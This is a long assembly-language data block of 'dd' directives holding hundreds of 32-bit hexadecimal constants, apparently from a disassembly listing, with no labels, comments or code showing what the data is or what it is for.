		dd 7A49E028h, 0EBB28DAAh, 0EBD62274h, 9A4C3EF4h, 0D1063659h
		dd 6782BEACh, 13DE271Bh, 31A3E719h, 0ADC5AAF0h,	9578B397h
		dd 6555E97Ah, 8E64C35Ah, 4908BE76h, 14FAF4B5h, 1DB8C9FEh
		dd 0BB23F45Ch, 2CCD7150h, 65FC082Dh, 58AE4B4Bh,	46DFCA3Bh
		dd 6FE977F6h, 132A7065h, 56DAC1A5h, 0E1CC46E8h,	3E7A8EB2h
		dd 0E08A453h, 160449D0h, 0EF9690B7h, 8EA31746h,	2EEA1271h
		dd 79A33FDDh, 29DCDEC2h, 0C979002Eh, 63AB50F8h,	8E609806h
		dd 80904491h, 0E685C90Bh, 0C115152Dh, 0D08D3FA4h, 60AD52BDh
		dd 796055A8h, 0BA1FD56Fh, 33F54A3Fh, 0BC001324h, 22E7B9BAh
		dd 2A0C371h, 40FD2F1Ch,	0D9C4E3E0h, 5AE3D721h, 61A9DA2h
		dd 6B53663Bh, 0DCD67078h, 97A77935h, 0B7A73E63h, 31CD01D1h
		dd 387C9E95h, 0DB8BD32Eh, 3D08D2BDh, 0EADAFC6Bh, 495CE2BBh
		dd 718BC032h, 4E1AA41Dh, 1E003EE0h, 0FAFBDA38h,	0FB1B6938h
		dd 0D551A464h, 98D4A066h, 0CA66C7FEh, 48E9A395h, 65FA8B0Eh
		dd 0BB10020Bh, 7331F7FAh, 0B48FA8F2h, 3054EB38h, 7A22535h
		dd 3654AF8Ah, 9AADC21Bh, 235194EFh, 99C68C79h, 0AB3A7F5Ah
		dd 592CFC6Ah, 5432E31Ah, 0E82E6678h, 13DFD23Bh,	0BEF90B9h
		dd 2EE32E25h, 0BA769119h, 0DDA4191Dh, 0CF26D608h, 0A75CB423h
		dd 0E953B1B3h, 941BFE65h, 0BE3AFF19h, 0C93F1A92h, 0C1A89C2Bh
		dd 75B1610Bh, 3CB6578Fh, 281619ADh, 9A6EECAh, 0DDEBD841h
		dd 0A9CAC5C7h, 0A16ABCE3h, 0A4C53F58h, 7D58B4E1h, 0A5DEFAAh
		dd 27F4E97Bh, 0BED73EA0h, 11D49C16h, 0FF9434D9h, 8BB6C343h
		dd 302D7AC5h, 0F5DCF6Bh, 463D668Bh, 54ACA72Ch, 98523FAEh
		dd 700867F1h, 435D3638h, 0A1B7D4FBh, 95FBF3AAh,	2B7356A6h
		dd 438238FEh, 6426867Ch, 0F55F7583h, 98F3ABD4h,	0CC95B52Ah
		dd 0B62C6804h, 369C6B68h, 2F12D0F9h, 0B04FA5E0h, 54A40BDFh
		dd 8A3224C6h, 0FF0CF92Eh, 0BDECF21Ch, 7B7AAF86h, 2667B7E3h
		dd 0E4FA05E9h, 0E88B1EF4h, 7DFFAB6Eh, 0E37AB071h, 70F72AB5h
		dd 0F8C586E7h, 0F01BF3E9h, 0D4DCBC36h, 0B32975F9h, 5914AFA7h
		dd 75F84A4Ah, 84C11203h, 7D26D1BCh, 3E9FFF4h, 0A61C4C27h
		dd 6A9F9808h, 887C20C2h, 55B26280h, 0BBA9B81Eh,	0F478C600h
		dd 9A598438h, 7DCB2382h, 2AE2074Bh, 8814D6C3h, 0DF189D5Eh
		dd 4C3F5F28h, 0B864D724h, 9A8925D4h, 362DF9E7h,	5D47B0D6h
		dd 0B59FBCA7h, 32AEB143h, 0E6454242h, 48041EC7h, 0CAAA6CC1h
		dd 4A57E8B9h, 0CA716573h, 6FEA5D29h, 8BF43790h,	0D426F301h
		dd 84BE3D38h, 0CAC9DEFFh, 4B73BD2Fh, 9A1DC3C0h,	0D95A3481h
		dd 0DAD9ACDEh, 79B7D577h, 0EEDDCC3h, 7277BC24h,	3E8230BEh
		dd 0C1788A63h, 1F77B3h,	4F6143F3h, 23608A02h, 34295185h
		dd 97B8BCB2h, 402B589Dh, 61B27DE5h, 6729F1EBh, 0BA33E6BEh
		dd 0BA17C1Ch, 39EFBBF5h, 0FF72750Dh, 519BAA0Bh,	91F34AB6h
		dd 1C863DF8h, 7B9D8011h, 181B1B1h, 0C807292Fh, 0A0411C9Ah
		dd 18A0B762h, 0B6F0C92Ah, 5B89FD0Ah, 591CE5ACh,	1D42E417h
		dd 2F277F86h, 268D4ABBh, 542F63F5h, 0FE1C0E2Ch,	0DD3394E3h
		dd 0CA276E1Dh, 0D5D68B0Dh, 577054F3h, 0ABD44D72h, 10631334h
		dd 0B0B80652h, 2ABAC326h, 43F41EE2h, 0CB0E9D2Eh, 5C953445h
		dd 63245B5Ch, 75979A9Bh, 0D6F07629h, 0EDC410D6h, 70E620A6h
		dd 8FF405B8h, 0E586893h, 0C34827E4h, 0BEDCFCBAh, 37352C12h
		dd 762D5C94h, 946EBE41h, 8B3E24D2h, 807CF3EDh, 842A46B9h
		dd 39C2DDAFh, 0FEAB9DFh, 0DB738CAFh, 0C2B3887Ah, 0C8A354D2h
		dd 0EC75BC4Ch, 6D88EE7Fh, 0D1DBCDB6h, 46DA194Ch, 0CE563768h
		dd 6F33F246h, 0A337FF9Bh, 230DB699h, 443069CCh,	96B26F66h
		dd 44DB278Ch, 0C8F5A540h, 0B9C271B2h, 52662C5Ch, 0F94E3DE0h
		dd 8E601E6Eh, 70B23905h, 8717DF7Fh, 170F4B60h, 5D335714h
		dd 103031C7h, 6722BEE1h, 42D16C9Bh, 6038851Fh, 28FA452Eh
		dd 0C87B3A5h, 5B8000E0h, 5DC4AE87h, 0C65068F9h,	4E0E7C2h
		dd 2732AC1h, 0D2E4AAE1h, 0B297ED4Fh, 0EE33ED78h, 427679Dh
		dd 595F1149h, 57FD42DFh, 0B06FC968h, 0E33C1EE6h, 51888922h
		dd 2CB29654h, 1FED3315h, 0CB9CF6BAh, 1BF68F81h,	80C0DB52h
		dd 0FD3AD256h, 651024C3h, 35E65F8Bh, 91B9DC2Fh,	14CE5535h
		dd 0CC8CEABDh, 6C9C406Fh, 0A8565413h, 1604F6EAh, 5AF97BE4h
		dd 0BDB1BA71h, 8F0A93E9h, 0FCA164E9h, 0D06C70Ah, 0D1FD0D50h
		dd 0E5F433AAh, 0EF624B52h, 6CA01062h, 345A78D2h, 36EAD68Eh
		dd 85011D9Ah, 5C07D76Ah, 8575011Ah, 2783F77Ch, 579ED053h
		dd 0F174A550h, 2364782Ah, 0A10479A2h, 9608693Eh, 7D282644h
		dd 3EB5C58h, 516BE1E1h,	0DA534615h, 0ECE99E75h,	0B5B3A948h
		dd 4324D212h, 2E9A262h,	690D3206h, 7A071610h, 6B780D75h
		dd 1AE65131h, 0E571D3Bh, 0F612850Ah, 0F802F75Eh, 323DE956h
		dd 4F28D8A2h, 0DC57D94Bh, 5C3ED058h, 0C208845h,	55F0F1D5h
		dd 0A6FFCBE9h, 8E02FB43h, 986E7F6h, 976CB14h, 0F2FBF8Dh
		dd 3BC3BA00h, 0C8514494h, 0A2AAD623h, 8A2C28CEh, 0B31A6241h
		dd 53FF0630h, 9D338173h, 92525934h, 82205A23h, 0B1801E73h
		dd 351D1406h, 0C5D020BFh, 73C324E3h, 64D293B9h,	0A3DD6CB0h
		dd 952A28E2h, 3016BFB9h, 8AC5D5F9h, 0C9B64BD5h,	992222DAh
		dd 0CB5213F9h, 69603644h, 0B5FCCBAFh, 80DED67Ah, 81F91B17h
		dd 3DFAFA9h, 0E89EC468h, 0FB116056h, 0C110D608h, 0F5108E5Dh
		dd 96EAE8ABh, 87901354h, 0F900927Bh, 0C7BDF8C1h, 23BC4781h
		dd 17B50FC0h, 3CF8B7B6h, 16F621Fh, 1E0B2227h, 5D9BE3E6h
		dd 261277E7h, 5C04362Dh
		dd 0EB63BBAFh, 0B1D3323Eh, 0A08703F1h, 5A94F1CEh, 2475D412h
		dd 1E55DD36h, 67C20492h, 0EA31F177h, 47CA5D4Bh,	0D87451B2h
		dd 776C7A4Ah, 4E5E71ABh, 0EA6DF804h, 597264DCh,	9FEBEBE5h
		dd 262D75A1h, 974BB70Dh, 0A4BE1491h, 0DB234AE4h, 0C24704CEh
		dd 0CFA43F3Ch, 0F282B5A8h, 1C376AB3h, 27C34771h, 3977BCF6h
		dd 770E86FAh, 2082B18Ah, 4C8396C9h, 74D3869Fh, 0D1A494C9h
		dd 8201B378h, 45C15019h, 0D5741B17h, 3BC061E9h,	0D3071D42h
		dd 0C1A11EB6h, 0BDB51884h, 1B5C3CAEh, 3FB5C566h, 0D55C5B9h
		dd 9FB643F5h, 0D3A69635h, 0ADF25BF1h, 6E8D9E10h, 0FC867424h
		dd 85571A23h, 697DA82Bh, 6488D0F3h, 9C7FB8B5h, 4BF1EC32h
		dd 0A5E05D65h, 0A93907CEh, 44947C48h, 0BAF60400h, 2A20EB98h
		dd 67106FB3h, 52B03127h, 0C386EFEDh, 8EC0127Bh,	5FD80E3Bh
		dd 0A5D72E5Fh, 56DA7C72h, 0ADBA7388h, 0DA62763Dh, 59B94E63h
		dd 0AD1CDDDAh, 0F7C796A9h, 0C0F7DA8Ah, 2F6026DEh, 0B6E98D13h
		dd 66F7D513h, 95A6342Bh, 5CD6992Eh, 1E0A2958h, 6E951B01h
		dd 0B2FC0746h, 3F2B7372h, 0AE07BE87h, 0DE0F5295h, 97BD1031h
		dd 5A3AAED6h, 58EAFF85h, 0CE3348CFh, 7F828203h,	0D58A2C83h
		dd 89DCB138h, 0C41ADE62h, 2B88C741h, 38BEA752h,	887FE60Bh
		dd 0AC7CADBh, 0F91A0DC4h, 0EA168A6Ch, 21AB8734h, 2E9B1DC3h
		dd 9959CCF9h, 4C394044h, 0B8953B7Dh, 0DC1ED2A7h, 3A469718h
		dd 5B599F67h, 8CDA07Ch,	0AD488E73h, 1CAA7C4h, 0E7A10650h
		dd 0D92B1E14h, 44182FE9h, 2D4B7B94h, 5B670043h,	50D078FAh
		dd 0F3398601h, 0ABDF651Ch, 0A4021419h, 9E988D0Eh, 0B1A4C6F0h
		dd 0E2400C5Fh, 0DA040CE5h, 0CD6D48F3h, 588E3BF3h, 3ED9CB46h
		dd 6E6F649Ch, 559ADBEFh, 0FD29C63Fh, 27DBC3ECh,	7DD60623h
		dd 0FAD64327h, 0BDD55419h, 0C3FAB891h, 2F03C2B3h, 0BB2521Bh
		dd 51359B52h, 10FD09B4h, 0C368D7CAh, 49BE7B0Eh,	63D69743h
		dd 9ECFF8FFh, 82F34557h, 2BD69F48h, 90B3FAB0h, 0FE459CF8h
		dd 6C598BC3h, 0B131011Dh, 55170968h, 21D256B1h,	0FE4714D2h
		dd 0FD8361CDh, 25379CFh, 0FBB3BFA8h, 418B00CEh,	0F6EE94A4h
		dd 0A99E1A1Ah, 861CDECBh, 10516597h, 81C8D7Ah, 53DCD867h
		dd 588DBAA4h, 42034520h, 0E5A433C6h, 0FC264954h, 4364D90Dh
		dd 0DDB59407h, 26C35F91h, 0A1FF5EADh, 29BDFDD1h, 0A6AE7A04h
		dd 6680420Bh, 3FAC9D87h, 7E3A7C81h, 2551101Eh, 725228B5h
		dd 21A5C071h, 21EA6E21h, 549D4CB7h, 999AF793h, 93FC080Bh
		dd 40C1D9EAh, 46411F66h, 0B9645A48h, 56F053D5h,	0E6305DA8h
		dd 13DC7AC8h, 26DAC0A2h, 11F1F92Ch, 3F1594FCh, 1DCABD54h
		dd 0CD9847F9h, 94C2F245h, 0C9F9E209h, 83B01B21h, 770CC8E5h
		dd 0BD99255Ch, 0E4AAD81Bh, 91D6452Fh, 0FC9B6976h, 2D113C2h
		dd 89C39C23h, 42A5C2B3h, 0C3910D12h, 0A36BC178h, 81C971BFh
		dd 0E658DBFh, 0C706A0F4h, 828CD23Ch, 2F998B4Dh,	14477780h
		dd 0FC344B14h, 0C968F80Eh, 9AAC6A2Dh, 1896CF2Dh, 44F4D546h
		dd 9BBE1E01h, 0B496E6D7h, 88914677h, 75EB182Fh,	0C054C84Dh
		dd 0EFDD224Eh, 0A00ADBC2h, 1E805D8Bh, 818516F6h, 0CE754152h
		dd 8E6EE916h, 0CD6D7948h, 6E2105D5h, 6A28B88Fh,	0F5EE6A12h
		dd 0B38976F0h, 0D81AAAF5h, 2399229Ah, 43F44244h, 7BBC852Fh
		dd 0BC4C6E0Dh, 0F7DFD6D8h, 674D081Ch, 9325956Ch, 0DCC089B7h
		dd 362E5E12h, 0CFE22D8h, 65125B90h, 0EAF331A2h,	0F69393E9h
		dd 13913FFEh, 6C43A97Fh, 5D135E35h, 8CB007C9h, 0C7D092BCh
		dd 275CCC03h, 0DE907AA2h, 37422CFDh, 25763BD6h,	0D3C1A71Ah
		dd 0C4A71D9Ah, 0EED0867Ch, 9DE7E74Fh, 0F51E32DDh, 5620DBD8h
		dd 0CDCBD36Fh, 143A494Eh, 80E548B2h, 56339387h,	9E152968h
		dd 8D6095DCh, 0CFAE0CBAh, 73139C45h, 224C8318h,	3C394036h
		dd 0E0C1A0AAh, 46F5BA83h, 234ECF24h, 6CDCE741h,	0E5BAEFA6h
		dd 0C31E47A6h, 0A969A689h, 2A0F89FDh, 0A173C6ABh, 4970699Eh
		dd 4EAA225Ch, 35194960h, 0A8855223h, 19078006h,	0E064D7A4h
		dd 3D551B55h, 437705AAh, 5C7A0DAEh, 528181D4h, 2EC88DCAh
		dd 92ADBB10h, 0AB702D35h, 91A8BC0Ah, 0A2FF0F78h, 13CA8A7Dh
		dd 65795BC1h, 0BE1594C1h, 0C0BFC5C6h, 0FAE6289Fh, 0D7CD05CCh
		dd 0CB99CA53h, 0D875FC88h, 0C12570Bh, 2B554513h, 31E2F019h
		dd 71F2396Fh, 0B2987F7Eh, 0BC85844Eh, 5206A706h, 0FC13445h
		dd 1F62D7C8h, 6D34915h,	2AF8038Fh, 0D632F2B0h, 13CBE9FFh
		dd 1505FEDDh, 3F56D38Ah, 0FC76237Eh, 0CA0389ADh, 78B7EE50h
		dd 0E23CFB02h, 5980F254h, 99D0D0Fh, 705306E1h, 3C8FEE29h
		dd 644BB77Ah, 0BA0930ACh, 1B558E25h, 752D7271h,	75E73053h
		dd 76491F24h, 0EBEAA0BFh, 6636644Ch, 0C0BEDD53h, 2C5BABA6h
		dd 0DC975C40h, 0D6491DA5h, 6FAC25B5h, 36F1E3F8h, 8FA8ED98h
		dd 5DACCB65h, 735EE52Dh, 0A2279D5Eh, 7AB5C7EDh,	0EED7AB61h
		dd 8EA9CD16h, 0FBF58831h, 4B8DA315h, 0E0DDF3EBh, 4BE3D0D3h
		dd 1ACE3AB6h, 3A998086h, 7D7C5148h, 89CF7F79h, 217C7704h
		dd 0A0382FB8h, 93253344h, 0ABBF89F0h, 9AC23178h, 0BF120792h
		dd 0BA46EF69h, 220FEF74h, 0D26C755Eh, 0A333E6C3h, 2F089FFh
		dd 5DF8D793h, 2A2EE86Fh, 0BD7A2C9Fh, 9E5BE6Eh, 0CBA8CA6Ch
		dd 1C198FD0h, 198A0338h, 0A39D6EAFh, 6EA7E06h, 0FD4C0983h
		dd 0FFAF5A4Dh, 0E9108C4Fh, 0C728F398h, 0AFA4527Ah, 60DD06E3h
		dd 7A7C1383h, 299C05E6h, 5239A8EAh, 2F14B7DBh, 0DC4F204h
		dd 0CDD8B3DCh, 0CA6CC211h, 349F9B1Fh, 0BA9941ACh, 23A1F5BEh
		dd 0E52C385Eh, 43BE0C74h, 0CAB95B69h, 70ED94C9h, 39CD8E35h
		dd 6AE1B3D8h, 1896725Ah, 0CBBDC423h, 0D33623D8h, 1B5BB49Dh
		dd 0AA9E1423h, 935AE80Eh, 0B1E5D0A6h, 4EF948A1h, 0F77CAE6Eh
		dd 229BCDE8h, 0A2EB1471h, 7C1E5CDDh, 4CD9BB6Fh,	6D99C86Fh
		dd 12EE4387h, 79003B68h, 6322BD0Eh, 48B60DE7h, 0C9815645h
		dd 3A726F91h, 6091996Eh, 5B579B03h, 42D77808h, 6E8F54DCh
		dd 6CF19D5Fh, 0F21DC71h, 1A6DB658h, 75BF37A1h, 0A0354F85h
		dd 3CEEADFDh, 0AB7D457Bh, 0BE4AE34Fh, 0E3FCB282h, 584C6DDEh
		dd 0E8BF3180h, 5A1051Eh, 146E9138h, 548CD1FDh, 0A2BA531Eh
		dd 0D30620C6h, 4017F51Dh, 8C14960Fh, 4D4CC7ADh,	0EDE76906h
		dd 328D05F2h, 0D6A63DDDh, 0DB18919Fh, 9254A71Bh, 3F976D1Dh
		dd 56416429h, 91423E75h, 0D9AA1234h, 7346016h, 15E81406h
		dd 4118007Dh, 851F394Fh, 6DA2A653h, 90D21FB3h, 3A66D853h
		dd 1A147F47h, 7F875276h, 18D26AD6h, 0B78A9E36h,	0EA792BFEh
		dd 0E65B017Ch, 87EC3A15h, 0B6482E70h, 8C7DB491h, 0F15834D2h
		dd 8E362042h, 339B7057h, 68F982A7h, 1C93554Bh, 53870EAEh
		dd 0A574F3FCh, 0B1410F62h, 9A52F295h, 1F69C1D0h, 0EAB32048h
		dd 52A887D8h, 0EC1CDAAEh, 5EB91109h, 351F246Bh,	8783B007h
		dd 0D410E2AAh, 2D3AD2CAh, 0A52AF248h, 0AD076131h, 6522E1ECh
		dd 0DF0A4634h, 277EC335h, 1FC78038h, 9656C332h,	0F3085AC0h
		dd 0CF05B55Ah, 330BFACAh, 8B1AEC01h, 1109F6B1h,	9C8A6B16h
		dd 0C53DB371h, 611CC82h, 618D5164h, 976164A1h, 0FBB48EBCh
		dd 0F5F3D513h, 79836286h, 29813695h, 0A4802EB2h, 0F24582E6h
		dd 38A870CAh, 642018E6h, 0D24CAA91h, 62BA9946h,	2D110ED1h
		dd 2D9E477Dh, 0BD1F82D6h, 0E6D366F8h, 0D6295329h, 52717DF1h
		dd 35C7B2E3h, 0F6111DEAh
		dd 5A556A2Fh, 5D5D7CB7h, 0FB5AA2Dh, 0A357AB7Bh,	0F4699257h
		dd 64C7797Ah, 69FC94E4h, 66677E0Eh, 7CF71886h, 3E3A6B20h
		dd 9C99B794h, 9091FD82h, 7ED5F2A2h, 0F58B229Ch,	2AADC0E0h
		dd 2F2D4867h, 8519DAAEh, 528FA34Fh, 733B5D24h, 0EB39830Dh
		dd 0CCECE612h, 0CE72D9D3h, 0CA3A129Ah, 791FDC05h, 225F9FF3h
		dd 0C9670128h, 0CA27C4B1h, 0B2C65C11h, 0A2654659h, 0D5AD3042h
		dd 1062E2D7h, 65B59C6Dh, 3D2D0147h, 592AE00Eh, 653934D8h
		dd 0C6CBEA21h, 4E56D375h, 66D66F99h, 3FD65394h,	0D25EE11h
		dd 9FDE75B9h, 51BAAB5Bh, 0A874DB8Ah, 6D574CF2h,	0F0F1D96Dh
		dd 6E1DDBC0h, 9B769063h, 0D985CA05h, 5DDE584h, 75A01B0Fh
		dd 6B630785h, 5395EB07h, 7A917D1Fh, 318A935Ah, 0E70C706Bh
		dd 8A02C38h, 0AB023483h, 0CBA03FC8h, 0D2BD1285h, 0A057987Eh
		dd 36CFFECDh, 0A9094E19h, 17D02414h, 0BA5642EBh, 5D47274h
		dd 0D99DFB4Ah, 0E9704F23h, 3DE790BAh, 51F52BDEh, 7565D207h
		dd 0B915AA81h, 13857C78h, 99EF304Ah, 4941D448h,	67859C62h
		dd 0CB70DD0Fh, 0AF4993E8h, 70B77322h, 0D6F119E0h, 0D7FC70B2h
		dd 54F25E51h, 0E68AE6DDh, 0E2EB8D3Ah, 34540417h, 50E72E00h
		dd 0A62F3700h, 46D28CC6h, 84A93E13h, 0B3D755F3h, 726B3DBAh
		dd 419C1831h, 4806346Ah, 22264474h, 0F2DA35D3h,	32F0206Fh
		dd 6497761Bh, 0DDBC58C6h, 0DB70529Ch, 1038B46Eh, 6C053742h
		dd 8DAE8BAAh, 0AB72BB95h, 962A76C2h, 936F47DCh,	8B21B7AAh
		dd 86E04378h, 96682C76h, 96DF9E34h, 78A90AACh, 47FB7069h
		dd 6913821Ah, 0E21AACF7h, 7036F404h, 5229D054h,	4F9E3C37h
		dd 5C916EE3h, 716B8D70h, 0BA54ECEFh, 6562F30Ah,	16E55269h
		dd 14F2B6CCh, 0DB0F967Dh, 0BF56E894h, 47AC97E0h, 0B6F78B3Fh
		dd 0BAC6A3EAh, 622D8407h, 0B3FE9084h, 0E607F6BDh, 44A01F49h
		dd 550D71AFh, 3CD48F61h, 0FCBD316Fh, 5B827452h,	55BBCE06h
		dd 0C915CF0Dh, 0E2F3D2EEh, 99764C71h, 68957F31h, 0BF34CC2Ch
		dd 1F881BE0h, 14188B5Eh, 8356A9FAh, 0DC5948C0h,	64ECFCB7h
		dd 8946E544h, 0C11DDA20h, 0D038426Ch, 0C2ACD448h, 0D20CC3DCh
		dd 0B10988EFh, 0EDE3FCA6h, 0A8BB5EECh, 0CC209F25h, 0E2826733h
		dd 0D229CD92h, 0D36E7E01h, 75D56036h, 0F6AC750h, 0E0C585C4h
		dd 0D68969B0h, 2A966A63h, 3B3E59ECh, 7752BFDh, 557D7B29h
		dd 32350B39h, 8A62C10Dh, 411ECFD4h, 0EEFDFDFAh,	0A62706Fh
		dd 21DFC758h, 2E0B6F3Ah, 30DB9918h, 2FBC37ECh, 0B796F3D6h
		dd 0D199EE50h, 6A57979Bh, 3556CCB1h, 0E5E8E5D4h, 4CE74DCEh
		dd 0F787CD58h, 5DA43DE3h, 23FB10C5h, 7DA3E7DCh,	508C832Fh
		dd 505CB907h, 3B0BC380h, 347133DAh, 1A6E6AFDh, 0BE89F204h
		dd 0E5EFF113h, 3315FC2Fh, 50148541h, 0C5A3BA0Fh, 6B9C5553h
		dd 743C461h, 30CF30B1h,	2C712626h, 0AEDE9164h, 7F804BFAh
		dd 0ACD9418Ah, 0F2F29697h, 6221DF9Bh, 0F730C2C3h, 0A4BB0398h
		dd 0F2645713h, 0E5AC0AD5h, 0B04485D7h, 664CD8D7h, 974310DEh
		dd 0DF2D79DBh, 9E26CD0Ch, 0B07B8F0Eh, 0A4F4CFA3h, 1C791CBEh
		dd 0A4B514Bh, 3BF6B213h, 0E5AD4F10h, 3DB4A758h,	359C3BFBh
		dd 9A7DA19Eh, 0EA8E4A55h, 0A52C6407h, 9D29ED1Dh, 0E6BC82D5h
		dd 0F8ED1F1Bh, 7D07966Bh, 0BF583184h, 9A267F9Eh, 77AA64Fh
		dd 11C893F7h, 287733B3h, 0C47AC8AAh, 2D94303Dh,	6E4337F1h
		dd 3284A02Ah, 0D56BB135h, 0DC6ECB1Ch, 0F62E87A5h, 9AA4D8ECh
		dd 3C9E6892h, 148E5DAAh, 10987D21h, 391A4A6Fh, 0B0EAAD67h
		dd 6BD8F3FCh, 14269152h, 71AA15A8h, 125571FEh, 953CD912h
		dd 3E802FC1h, 514C0C75h, 5AB33329h, 4D8C1118h, 975A9B30h
		dd 0BF88D851h, 0F6E89444h, 0D2CA39F9h, 2DB3C15Fh, 0C3B75E3Ch
		dd 0E51E441Bh, 0D0331AE6h, 45136C4h, 96823FF4h,	0FBC7CB48h
		dd 0BBB86BA3h, 0D613EF8Ah, 60F449CDh, 23EDE4C4h, 0C447FBCh
		dd 189D73B7h, 87B55C7Bh, 875EACA8h, 0FB5DE3C3h,	0C6D31F8Ah
		dd 0A23ED15Ch, 0B27EFFDCh, 0D823D1F9h, 0C5EF16B8h, 0BA86404Ch
		dd 0BB9B4C10h, 99889396h, 0A24FCF72h, 86F331C4h, 43768DC3h
		dd 7410FCB2h, 0B33851A2h, 0EA2A0094h, 82F31DCEh, 0CD85B3B6h
		dd 116E0894h, 8FD0147h,	0A53E7EB4h, 0C878C6ACh,	4F2E05BAh
		dd 0A529EBB8h, 0A67E74F5h, 0B7072C74h, 0D53C12E2h, 0EB5B4B71h
		dd 4E55B549h, 6FFF9614h, 92BB50DFh, 0FE15C686h,	1DED6965h
		dd 0E2D7C447h, 1CA26515h, 5116A087h, 0E4F9BD78h, 0D226844h
		dd 0E1592B44h, 0CAE6F848h, 0A5C13300h, 13A99A3Fh, 0DE117F85h
		dd 0EAE9A88Ah, 9034FA1Ah, 0B672CA01h, 4F5C17F2h, 0EE549A5Bh
		dd 0F5BFB75Fh, 0BB7953F9h, 0E6D58922h, 0B8A6B968h, 0CDE8C1DBh
		dd 250D9F0Eh, 0D284C904h, 78092AFAh, 7BF08DBBh,	8CC30975h
		dd 9EE59685h, 7F0058D2h, 6C09EFC0h, 8EA42EC8h, 856222E9h
		dd 0DA707BB9h, 9B31ADD8h, 3A4DDC85h, 9DC50FBFh,	0D9387254h
		dd 0D68707E3h, 59B6A5E7h, 485A1A36h, 0E2931C17h, 0F50E5BECh
		dd 54581A3h, 8549F1D2h,	7863A0E3h, 5A71C1A6h, 0AFC01E9Ah
		dd 8E7DEC3Fh, 9F29A260h, 0D2BB2775h, 2FD62440h,	769E6394h
		dd 0EC21C144h, 89CECBECh, 83243A04h, 0FFD07A03h, 0E1F0BEFFh
		dd 17DBB17Ah, 0D2626796h, 8C8A58A2h, 0E0DA540Dh, 7121591Bh
		dd 0B3F13CD7h, 0E18DE2A5h, 0BFEC3AB9h, 41D16109h, 93DF580Eh
		dd 1EA6424Dh, 3397C89Fh, 0F2C61D5Bh, 5EC495EBh,	0C4DAE7C3h
		dd 0D592F93Fh, 0B081AD9h, 0A96223F1h, 0E806F540h, 0E24A0B21h
		dd 626A780h, 8AF956CCh,	0D2A5C75Eh, 37FC5D2Ch, 0F72CA2E2h
		dd 0FDD4BDBCh, 0AD75D3A7h, 0A34FFCE5h, 9AF1B2E6h, 3E66F1Fh
		dd 2D974210h, 0FB93F780h, 0CA814A2Ah, 0B33FEAC9h, 624ABA8Fh
		dd 37562D59h, 119C6A91h, 0D6836E34h, 4A99D24Dh,	14A09638h
		dd 0B37AC57h, 39AC6195h, 37D13A5Ah, 7DF95BD3h, 680F9A60h
		dd 2CF337EBh, 780393F7h, 157C8EEAh, 5EF7B50Dh, 1CF32F59h
		dd 9F1851F1h, 28692702h, 26B08C52h, 49CDEAEFh, 0CE6DF88Dh
		dd 7229F924h, 0C47FE0D5h, 0A73FFF27h, 0E33362FFh, 0C6550E7h
		dd 159E8A6Dh, 0E47DB6A0h, 0FA2F1A02h, 0DDEB4924h, 8911FFFBh
		dd 5B1E6A14h, 0BF62F0F6h, 0CE76EA79h, 319AA9A1h, 19043F69h
		dd 7E8D145Ch, 0FAFC2EACh, 0B3357DDEh, 62D8D84Eh, 711F6ACh
		dd 4E13A32Fh, 0ACF957C3h, 4BCF20B3h, 62BA68C4h,	36D680F2h
		dd 50FCFECEh, 9B0C2906h, 0CD037F0Dh, 7F2F99F6h,	0DB646B3Dh
		dd 0D39E062Ah, 14D13D10h, 0B8FCE86Eh, 5DB8AAA2h, 51C9CD7h
		dd 689259C3h, 3DF3B9FCh, 791871D0h, 27919149h, 29FE4A37h
		dd 0F98A828Fh, 957C40Ch, 4FBD6521h, 47E6DC97h, 0FC2D39D3h
		dd 2B39E292h, 0F34C67C1h, 7818E0D0h, 0A72E7A4Ch, 0C32BA32Fh
		dd 0C1AF5BEDh, 0CFE9D780h, 0D93BBA81h, 386BCE03h, 2B2C6910h
		dd 6351FBB1h, 96067244h, 39CA49D5h, 0E9EEB7h, 0FCC131Dh
		dd 45B43C32h, 5A704B49h, 445335CAh, 447ECF60h, 0EDD66D67h
		dd 0A97C11D5h, 2D61FF41h, 7BD2281Eh, 0F2AC0797h, 2EDEF764h
		dd 255C08FEh, 37516B0Ch, 63A3CB58h, 0A0477EB8h,	0C82F648Fh
		dd 35F7E453h, 49C21F2Bh, 0CA0AD42Ah, 89FDAEEAh,	0C3C4EE93h
		dd 79218524h, 50541A1Bh, 0D8585871h, 575F4796h,	8E133054h
		dd 2F306A54h, 0C71612FAh, 0FA0BB42Ah, 0EDA80D4Bh, 0A730F982h
		dd 9625213Ch, 0C94C4232h, 0E68A89E1h, 0C8320729h, 750EEFA0h
		dd 0D02DD1DFh, 7079CF27h
		dd 4AADAAD7h, 0FC184519h, 297556A6h, 58AC386Ch,	6016486Fh
		dd 0C8861A2Dh, 1167BD74h, 0F274829Eh, 73084875h, 4FC195EAh
		dd 636C0205h, 31DBC62Ch, 6A697699h, 5AB83AC8h, 0C12BABE1h
		dd 0E38A7F38h, 973AA354h, 0D78CD2C5h, 4A680D1Dh, 21C8CE37h
		dd 4D08059Bh, 0D188C54Ah, 48EA8BF3h, 120E343Bh,	0B0893CF3h
		dd 0B8D96CA9h, 32AD068Dh, 4D1D7285h, 0C971899Eh, 0A19D92C5h
		dd 637C1868h, 855B554h,	7970156Fh, 5290709Ch, 3F158344h
		dd 0C1A1CAC2h, 781FB721h, 2EDE76A5h, 7B3684EFh,	6DB083DCh
		dd 28A79E90h, 0DF9A6F1Dh, 0BC92B92Eh, 0CBE78586h, 0B8465D2Ah
		dd 30FC1D9Fh, 5AC2C5D9h, 0A8602398h, 0BCE78FEFh, 65CA5E8Fh
		dd 0D21FF84h, 0AE552930h, 180682D2h, 491158FAh,	241FF3D1h
		dd 70B20FA3h, 46348BD0h, 0EC5628C0h, 0DD610304h, 0E7C182B2h
		dd 316B7650h, 817F1AE8h, 0FD2E94DBh, 0BEB8B4CEh, 29B4B25Bh
		dd 0B642A76Eh, 425528D3h, 2BE79F50h, 0E12045DBh, 0FCB5106Bh
		dd 7CBCC945h, 826309C9h, 7D9EC8BEh, 4E0355EEh, 672A85F0h
		dd 796FDD46h, 51CE8711h, 33D27BBEh, 39E81716h, 0BC360C7h
		dd 14C2D5DCh, 628BE208h, 9DD369B2h, 0DB568596h,	0C7E6DFD5h
		dd 14ECC9B7h, 0C19F02C9h, 6783E1EAh, 58C7C56Fh,	720687CCh
		dd 8786CCF5h, 57D6C2AEh, 103D2066h, 34818A39h, 9C2CD02Bh
		dd 0F7868121h, 6D72EDD2h, 0BEC6ABCFh, 0EFE3BA7Dh, 0E0818738h
		dd 0FF5A3A63h, 6F875226h, 8C15F2D7h, 0F22CCCAAh, 764D7DBAh
